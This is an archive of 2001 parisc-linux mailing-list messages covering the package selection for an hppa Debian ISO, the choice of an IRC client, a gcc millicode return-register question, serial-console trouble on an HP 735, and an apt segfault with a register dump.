Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 14:13:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77B58482A
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 14:13:47 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 45BA3156; Tue, 29 May 2001 16:13:46 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 279E037CFD; Tue, 29 May 2001 14:16:28 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Grant Grundler <grundler@puffin.external.hp.com> 
   of "Sat, 26 May 2001 10:45:55 MDT." <200105261645.KAA19506@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11147

Grant Grundler writes...

> Matt Taggart wrote:
> > http://puffin.external.hp.com/~taggart/selections.20010525
> > There are still a few missing dependencies but those should be taken care o
> > in the next few days. If you have additions/deletions to the list please se
> > them to me.
> 
> o ditch ipchains and add iptables instead.

Good idea but netbase depends on ipchains. I'll add iptables.

> o add cvs

We decided that cvs's debconf questions would be confusing to someone who 
didn't intend to setup a cvs repository right away. Not adding it, people can 
just get it from the archive.

> o add an irc client? (tirc? tinyirc? ircii?)

Good idea. Which one?

> o any memory or selftest tools we can include?
>   (even untested - I'm looking at x86 package that has mem/cpu test)

Good idea, but all the memory testers I've seen have been x86 specific. If 
people have specific ones they know will work for hppa then let me know.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Date: Tue, 29 May 2001 21:48:32 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010529214832.A7349@parcelfarce.linux.theplanet.co.uk>
References: <200105261645.KAA19506@puffin.external.hp.com> <grundler@puffin.external.hp.com> <20010529201628.279E037CFD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620150 19649 80.91.229.3 (22 Nov 2014 01:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:50 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 14:48:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60D634852
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 14:48:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 154qPo-0002bk-00; Tue, 29 May 2001 21:48:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010529201628.279E037CFD@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Tue, May 29, 2001 at 02:16:28PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11148

On Tue, May 29, 2001 at 02:16:28PM -0600, Matt Taggart wrote:
> > o add an irc client? (tirc? tinyirc? ircii?)
> 
> Good idea. Which one?

ircii is in nonus because it links against openssl.  i use sirc myself.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Galt <galt@inconnu.isu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Date: Tue, 29 May 2001 15:18:50 -0600 (MDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.32.0105291515380.2066-100000@inconnu.isu.edu>
References: <20010529214832.A7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620150 19652 80.91.229.3 (22 Nov 2014 01:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:50 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	Grant Grundler <grundler@puffin.external.hp.com>,
	<parisc-linux@parisc-linux.org>, <debian-hppa@lists.debian.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 15:20:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from inconnu.isu.edu (inconnu.isu.edu [134.50.8.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B1BD482A
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 15:20:36 -0600 (MDT)
Original-Received: from localhost (galt@localhost)
	by inconnu.isu.edu (8.9.3/8.9.3) with ESMTP id PAA24089;
	Tue, 29 May 2001 15:18:50 -0600
In-Reply-To: <20010529214832.A7349@parcelfarce.linux.theplanet.co.uk>
Copies-to: galt@inconnu.isu.edu
Xref: news.gmane.org gmane.linux.ports.parisc:11149

On Tue, 29 May 2001, Matthew Wilcox wrote:

>On Tue, May 29, 2001 at 02:16:28PM -0600, Matt Taggart wrote:
>> > o add an irc client? (tirc? tinyirc? ircii?)
>>
>> Good idea. Which one?
>
>ircii is in nonus because it links against openssl.  i use sirc myself.

sirc is going to violate the POLS for HPUX admins migrating.  The HPPA
archive (auuugh! redundant!) lists BitchX, ircii, and blackened as IRC
clients.  BitchX looks like the _de facto_ standard one from here.

>

-- 
Here is wisdom.  Let him that hath wisdom count the number of the BSD: for
it is the number of a man; and his number is VI VI VI.
(ir-reve-rent-lations 13:17-19)
Who is John Galt?  galt@inconnu.isu.edu, that's who!





From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Followup-To: gmane.linux.ports.hppa
Date: Wed, 30 May 2001 05:30:00 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20010530052958.F32752@neep.com.au>
References: <200105261645.KAA19506@puffin.external.hp.com> <grundler@puffin.external.hp.com> <20010529201628.279E037CFD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620150 19656 80.91.229.3 (22 Nov 2014 01:35:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 15:30:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.24.17])
	by dsl2.external.hp.com (Postfix) with SMTP id 31652482A
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 15:30:28 -0600 (MDT)
Original-Received: (qmail 6311 invoked by uid 666); 29 May 2001 21:30:13 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.174.141)
  by mail.iinet.net.au with SMTP; 29 May 2001 21:30:13 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id FAA16699;
	Wed, 30 May 2001 05:30:08 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org,
	debian-hppa@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010529201628.279E037CFD@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Tue, May 29, 2001 at 02:16:28PM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11150

Matt Taggart said:
> > o add an irc client? (tirc? tinyirc? ircii?)
> 
> Good idea. Which one?

I like epic.  It's not particularly small (the i386 package is 470k),
but it's in main (not non-US) and depends on nothing esoteric, just
libc6 and ncurses5.  It has one of the shortest bug lists of any Debian
package, too, but maybe that's just because everyone uses bitchx.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Date: Tue, 29 May 2001 22:53:37 +0100 (BST)
Lines: 8
Approved: news@gmane.org
Message-ID: <E154rQn-0004x2-00@the-village.bc.nu>
References: <Pine.LNX.4.32.0105291515380.2066-100000@inconnu.isu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620151 19657 80.91.229.3 (22 Nov 2014 01:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:51 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox),
	taggart@carmen.fc.hp.com (Matt Taggart),
	grundler@puffin.external.hp.com (Grant Grundler),
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: galt@inconnu.isu.edu (John Galt)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 16:02:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE510482B
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 16:02:11 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 154rQn-0004x2-00; Tue, 29 May 2001 22:53:37 +0100
In-Reply-To: <Pine.LNX.4.32.0105291515380.2066-100000@inconnu.isu.edu> from "John Galt" at May 29, 2001 03:18:50 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11151

> sirc is going to violate the POLS for HPUX admins migrating.  The HPPA
> archive (auuugh! redundant!) lists BitchX, ircii, and blackened as IRC
> clients.  BitchX looks like the _de facto_ standard one from here.

BitchX is actually banned on some networks.




From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] List of packages for hppa ISO release
Date: Tue, 29 May 2001 16:50:23 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20010529225023.5E4F937CFD@carmen.fc.hp.com>
References: <200105261645.KAA19506@puffin.external.hp.com> 
 <grundler@puffin.external.hp.com> <20010529201628.279E037CFD@carmen.fc.hp.com>
   <20010530052958.F32752@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620151 19665 80.91.229.3 (22 Nov 2014 01:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 16:47:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24E8C482A
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 16:47:39 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 172CD73D; Tue, 29 May 2001 18:47:38 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5E4F937CFD; Tue, 29 May 2001 16:50:23 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Wed, 30 May 2001 05:30:00 +0800." <20010530052958.F32752@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11152

Andrew Shugg writes...

> Matt Taggart said:
> > > o add an irc client? (tirc? tinyirc? ircii?)
> > 
> > Good idea. Which one?
> 
> I like epic.

I just installed it and it seems to have some problems(ncurses?). I also tried 
sirc and it seems to work ok, so we'll go with that for now.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] List of packages for hppa ISO release version 2
Date: Tue, 29 May 2001 17:32:38 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <20010529233238.ED68937CFD@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620151 19670 80.91.229.3 (22 Nov 2014 01:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 17:29:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id E26AC4832
	for <parisc-linux@parisc-linux.org>; Tue, 29 May 2001 17:29:53 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 0B200F54; Tue, 29 May 2001 19:29:53 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id ED68937CFD; Tue, 29 May 2001 17:32:38 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11153

Hi binary-hppa addicts,

Here's version 2 of the list of packages for the ISO release. First the 
changes,

Added
-----
apt/apt-utils (thanks to Paul Bame)
binutils-hppa64
gcc-hppa64
gdb-hppa
autoconf2.13
ipmasqadm
iptables
libft-perl
libttf2
python-newt
sirc
strace
task-c++-dev
task-c-dev
task-devel-common

Removed
-------
ssh (I accidentally forgot to remove it from the last list)

Obsolete/local (installed but not in the archive)
--------------
libstdc++2.1 (known, ok)
libstdc++3.0 (known, ok) 
man-db  (?)
apt/apt-utils (needs to be uploaded to debian)
binutils-hppa64  \
gcc-hppa64        - unofficial debs, on pehc
gdb-hppa         /
termwrap (Richard's alien'd hack)

Dependency issues
-----------------
debconf pre-depends on perl-base (>= 5.6.1)
perl-modules depends on perl-base (= 5.6.1-3)
perl-modules depends on perl-base (= 5.6.1-3)
perl depends on perl-modules (= 5.6.0-21)

lwresd recommends libnss-lwres
libnss-lwres does not appear to be available


The list of packages is at,

http://puffin.external.hp.com/~taggart/selections.20010529

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Using r2 for millicode return pointer
Date: Tue, 29 May 2001 22:50:46 -0600 (MDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200105300450.WAA08392@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620151 19678 80.91.229.3 (22 Nov 2014 01:35:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 22:50:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53363482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 22:50:47 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 9E36D3F7; Wed, 30 May 2001 00:50:46 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id WAA08392;
	Tue, 29 May 2001 22:50:46 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11154

Alan,

I am cc'ing parisc-linux also, since there are other parisc gcc experts
who may have an opinion on this. For those new to this, I found a
bug where a procedure calls millicode, which on Linux uses r2 as
a return pointer, however, gcc wasn't aware of that.

It looks like the cause of this bug is that we changed the return
pointer for millicode from r31 to r2. Was this a deliberate choice?

On HP-UX, millicode uses r31 for a return pointer.  This allows leaf
routines to call millicode without having to save r2.  I notice that the
code that you patched has a clobber for r31, which is not necessary
(currently) for Linux.  Is this code shared with the HP-UX version of gcc?
If not, we should remove the r31 clobbers, since they are unecessary and
will allow more efficient usage for r31.

If this code is shared, perhaps that would be another motivation for
changing the Linux copy of the millicode to use r31, if possible (I
don't know what the motivation for using r2 was, so I don't know if
this is reasonable).

John

P.S. Thanks for the quick fix!




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Using r2 for millicode return pointer
Date: Wed, 30 May 2001 14:33:58 +0930
Lines: 35
Approved: news@gmane.org
Message-ID: <20010530143358.G12034@squeak.one.net.au>
References: <200105300450.WAA08392@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620152 19685 80.91.229.3 (22 Nov 2014 01:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 22:56:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob05.one.net.au (mail-ob05.one.net.au [61.12.0.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47641482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 22:56:26 -0600 (MDT)
Original-Received: Received: [from squeak.local ([203.101.38.142])
	by mail-ob05.one.net.au  with SMTP id f4U4tlw13094
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 May 2001 14:55:47 +1000 (EST)]
Original-Received: (qmail 12303 invoked by uid 179); 30 May 2001 05:03:59 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <200105300450.WAA08392@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Tue, May 29, 2001 at 10:50:46PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11155

On Tue, May 29, 2001 at 10:50:46PM -0600, John Marvin wrote:
> 
> Alan,
> 
> I am cc'ing parisc-linux also, since there are other parisc gcc experts
> who may have an opinion on this. For those new to this, I found a
> bug where a procedure calls millicode, which on Linux uses r2 as
> a return pointer, however, gcc wasn't aware of that.
> 
> It looks like the cause of this bug is that we changed the return
> pointer for millicode from r31 to r2. Was this a deliberate choice?
> 
> On HP-UX, millicode uses r31 for a return pointer.  This allows leaf
> routines to call millicode without having to save r2.  I notice that the
> code that you patched has a clobber for r31, which is not necessary
> (currently) for Linux.  Is this code shared with the HP-UX version of gcc?
> If not, we should remove the r31 clobbers, since they are unecessary and
> will allow more efficient usage for r31.
> 
> If this code is shared, perhaps that would be another motivation for
> changing the Linux copy of the millicode to use r31, if possible (I
> don't know what the motivation for using r2 was, so I don't know if
> this is reasonable).

It's a 64-bit vs. 32-bit ABI issue.  64-bit uses r2 as the return
for millicode.  See devresource.hp.com/STK/partner/pa64rt.pdf, chapter 5

-- 
Alan

PS: I was wrong about this bug affecting the 32-bit compiler.





From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pat Wendorf <beholder@unios.dhs.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial Console Issues
Date: Wed, 30 May 2001 01:25:56 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <3B148463.3DB0D62@unios.dhs.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620152 19692 80.91.229.3 (22 Nov 2014 01:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:52 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 29 23:29:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDFDD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 May 2001 23:29:10 -0600 (MDT)
Original-Received: from unios.dhs.org ([209.226.99.73]) by tomts7-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010530052850.YUGS16174.tomts7-srv.bellnexxia.net@unios.dhs.org>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 30 May 2001 01:28:50 -0400
Original-Sender: beholder@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11156

I'm new and mostly clueless to PA-RISC, but I recently given a 735/125
and I'm having a heck of a time trying to get the serial console to
work. I tried connecting a 9 pin crossover cable (works fine with a
Sparc 1+ serial console) to COM A at the back of the machine. I set the
term software to 9600-N81 (leaving the frame buffer in).  The term
proggie is pretty much silent except for a funny "u" character that
shows up almost instantly after I power the machine. I searched the
mailing list and found that some people needed to remove the fb from the
machine, this also produces the same result.  I pulled the watch battery
out from the main "blade" at the back for a good 15 minutes to see if
there was some sort of cmos issue, again no luck.  If it helps, the
status lights are solid and show 1, 6 and 7 on (all the rest, minus the
"on" light are off).  The two SCSI connectors on the main "blade" have
terminators plugged into them, but the result seemed the same with them
unplugged, and the machine seems to have two extra connectors in what
looks like another card on the left hand side (so much SCSI, so little
devices ;), which have nothing connected to them, so I must assume are
internally terminated. 

As I said I'm quite unfamiliar with anything HP, so this is an
experience :)

-- 

Pat Wendorf




From - Thu Nov 08 21:17:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Current APT failure
Date: Wed, 30 May 2001 00:09:27 -0600
Lines: 103
Approved: news@gmane.org
Message-ID: <m154zAd-001VltC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620152 19702 80.91.229.3 (22 Nov 2014 01:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 30 00:09:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from deimos.frii.net (deimos.frii.com [216.17.128.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9EE4482A
	for <parisc-linux@parisc-linux.org>; Wed, 30 May 2001 00:09:29 -0600 (MDT)
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by deimos.frii.net (8.11.3/8.11.3) with ESMTP id f4U69SQ51704
	for <parisc-linux@parisc-linux.org>; Wed, 30 May 2001 00:09:28 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA07141
	for <parisc-linux@parisc-linux.org>; Wed, 30 May 2001 00:09:27 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m154zAd-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Wed, 30 May 2001 00:09:27 -0600 (MDT) 
Errors-To: bame@riverrock.org
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11157

The CVS snapshot apt (on pehc as 0.5.3.0.90) is working fairly well
but is still having plenty of type 6 faults.  Here's details on
the one I think looks like a VM problem.

    Test case: apt-get update
	New package files must be fetched.  If there aren't any new
	files, rm /var/cache/apt/*.bin first.
    
gdb says:

    Program received signal SIGSEGV, Segmentation fault.
    0x4005fe8c in MMap::Map(FileFd&) (this=0x53fd0, Fd=@0x4fb10)
	at ../build/include/apt-pkg/fileutl.h:64
    64         inline int Fd() {return iFd;};

Register dump agrees:

do_page_fault() pid=12131 command='apt-get' type=6 address=0x4005fe8f
vm_start = 0x3ff92000, vm_end = 0x400bb000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     0000000000000000 000000004011d018 000000004005fe8f 000000004011e818
r4-7     0000000000053fd0 000000000004fb10 0000000000000000 000000007ff00e58
r8-11    000000000036e2e3 000000007ff00f10 0000000000000001 000000007ff00e08
r12-15   000000007ff00c68 000000007ff00e30 000000000000000c 0000000000600000
r16-19   000000007ff00c50 000000007ff00e18 0000000000000000 000000004038c23c
r20-23   000000003ff92000 0000000000000000 000000000000000a 0000000000000001
r24-27   0000000000000001 0000000000128108 0000000000000000 000000000003e440
r28-31   000000003ff92000 0000000000000000 000000007ff01140 00000000403257ab
sr0-3    000000000000bb80 0000000000001100 0000000000000000 000000000000bb80
sr4-7    000000000000bb80 000000000000bb80 000000000000bb80 000000000000bb80

IASQ: 000000000000bb80 000000000000bb80 IAOQ: 000000004005fe8f 000000004005fe93
 IIR: 43ffff80    ISR: 000000000000bb80  IOR: 00000000404ba000
 ORIG_R28: 0000000000128108

Note the bogus "no memory mapped here" IIR.  Gdb disassembly says:

0x4005fe84 <_ZN4MMap3MapER6FileFd+104>: #   41000
0x4005fe88 <_ZN4MMap3MapER6FileFd+108>: #75590c34
0x4005fe8c <_ZN4MMap3MapER6FileFd+112>: iitlbp r0,(sr0,r0)
0x4005fe90 <_ZN4MMap3MapER6FileFd+116>: #   dc55a
